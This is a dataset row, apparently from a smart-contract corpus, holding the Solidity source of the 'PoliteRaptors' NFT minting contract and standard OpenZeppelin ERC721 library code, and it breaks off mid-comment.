Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,800
0x976330a69204E51967Bc55512344e284620aFCB0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title PoliteRaptors contract */ contract PoliteRaptors is ERC721Enumerable, ERC721URIStorage, Ownable { string public provenanceHash = ""; uint256 public maxRaptors; bool public metadataFrozen; bool public provenanceFrozen; // in case something breaks this contract and we have to use fallback contract address public fallbackMinter; string public baseUri; bool public saleIsActive; bool public revealed; string public unrevealedTokenUri; event SetBaseUri(string indexed baseUri); modifier whenSaleIsActive() { require(saleIsActive, "PRP: Sale is not active"); _; } modifier whenMetadataIsNotFrozen() { require(!metadataFrozen, "PRP: Metadata already frozen."); _; } modifier whenProvenanceIsNotFrozen() { require(!provenanceFrozen, "PRP: Provenance already frozen."); _; } constructor() ERC721("Polite Raptors Pack", "PRP") { saleIsActive = false; maxRaptors = 10000; metadataFrozen = false; provenanceFrozen = false; revealed = false; } // ------------------ // Explicit overrides // ------------------ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view virtual override(ERC721URIStorage, ERC721) returns (string memory) { if (revealed) { return super.tokenURI(tokenId); } else { return unrevealedTokenUri; } } function _baseURI() internal view override returns (string memory) { return baseUri; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } // ------------------ // Public functions // ------------------ function mint(uint256 amount) external payable whenSaleIsActive { require(amount <= 50, "PRP: Amount exceeds max per mint"); require(totalSupply() + amount <= maxRaptors, "PRP: Purchase would exceed cap"); require(totalSupply() >= 3000, "PRP: Free mint not finished"); bool refundPrev = true; uint256 _mintPrice = 50000000000000000; // 0.05 ETH uint256 supplyAfterMint = totalSupply() + amount; if (supplyAfterMint > 9000) { _mintPrice = 100000000000000000; // 0.1 ETH refundPrev = false; } else if (supplyAfterMint > 6000) { _mintPrice = 75000000000000000; // 0.075 ETH } require(_mintPrice * amount <= msg.value, "PRP: ETH value sent is not correct"); uint256 mintIndex = totalSupply() + 1; for (uint256 i = 0; i < amount; i++) { _safeMint(msg.sender, mintIndex); address prevOwner = ownerOf(mintIndex - 3000); if (refundPrev && !isContract(prevOwner)) { payable(prevOwner).transfer(_mintPrice - 25000000000000000); } mintIndex += 1; } } function mintFree(uint256 amount) external whenSaleIsActive { require(totalSupply() + amount <= 3000, "PRP: Free to mint limit reached"); require(totalSupply() + amount <= maxRaptors, "PRP: Mint would exceed cap"); require(amount <= 3, "PRP: Only 3 free mints per tx"); require(balanceOf(msg.sender) + amount <= 3, "PRP: Only 3 per address"); uint256 mintIndex = totalSupply() + 1; for (uint256 i = 0; i < amount; i++) { _safeMint(msg.sender, mintIndex); mintIndex += 1; } } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function tokensOfOwner(address owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); for (uint256 index; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(owner, index); } return result; } } function fallbackMint(uint256 amount) external { require(totalSupply() + amount <= maxRaptors, "PRP: Mint would exceed cap"); require(msg.sender == fallbackMinter, "PRP: Only for fallback minter"); uint256 mintIndex = totalSupply() + 1; for (uint256 i = 0; i < amount; i++) { _safeMint(msg.sender, mintIndex); mintIndex += 1; } } // ------------------ // Owner functions // ------------------ function setBaseUri(string memory _baseUri) external onlyOwner whenMetadataIsNotFrozen { baseUri = _baseUri; emit SetBaseUri(baseUri); } function setTokenURI(uint256 _tokenId, string memory _tokenURI) external onlyOwner whenMetadataIsNotFrozen { super._setTokenURI(_tokenId, _tokenURI); } function mintForCommunity(address to, uint256 numberOfTokens) external onlyOwner { require(to != address(0), "PRP: Cannot mint to zero address."); require(totalSupply() + numberOfTokens <= maxRaptors, "PRP: Mint would exceed cap"); uint256 mintIndex = totalSupply() + 1; for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(to, mintIndex); mintIndex += 1; } } function setProvenanceHash(string memory _provenanceHash) external onlyOwner whenProvenanceIsNotFrozen { provenanceHash = _provenanceHash; } function setUnrevealedTokenUri(string memory _unrevealedTokenUri) external onlyOwner whenMetadataIsNotFrozen { unrevealedTokenUri = _unrevealedTokenUri; } function reveal() external onlyOwner { revealed = true; } function toggleSaleState() external onlyOwner { saleIsActive = !saleIsActive; } function withdraw(address to) external onlyOwner { uint256 balance = address(this).balance; payable(to).transfer(balance); } function emergencyWithdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function emergencyRecoverTokens( IERC20 token, address receiver, uint256 amount ) external onlyOwner { require(receiver != address(0), "Cannot recover tokens to the 0 address"); token.transfer(receiver, amount); } function freezeMetadata() external onlyOwner whenMetadataIsNotFrozen { metadataFrozen = true; } function freezeProvenance() external onlyOwner whenProvenanceIsNotFrozen { provenanceFrozen = true; } function setFallbackMinter(address newFallbackMinter) external onlyOwner { fallbackMinter = newFallbackMinter; } function reduceMaxRaptors(uint256 newMaxRaptors) external onlyOwner { require(newMaxRaptors < maxRaptors, "PRP: Can only be reduced!"); maxRaptors = newMaxRaptors; } // ------------------ // Private helper functions // ------------------ function isContract(address _addr) private returns (bool isContract){ uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 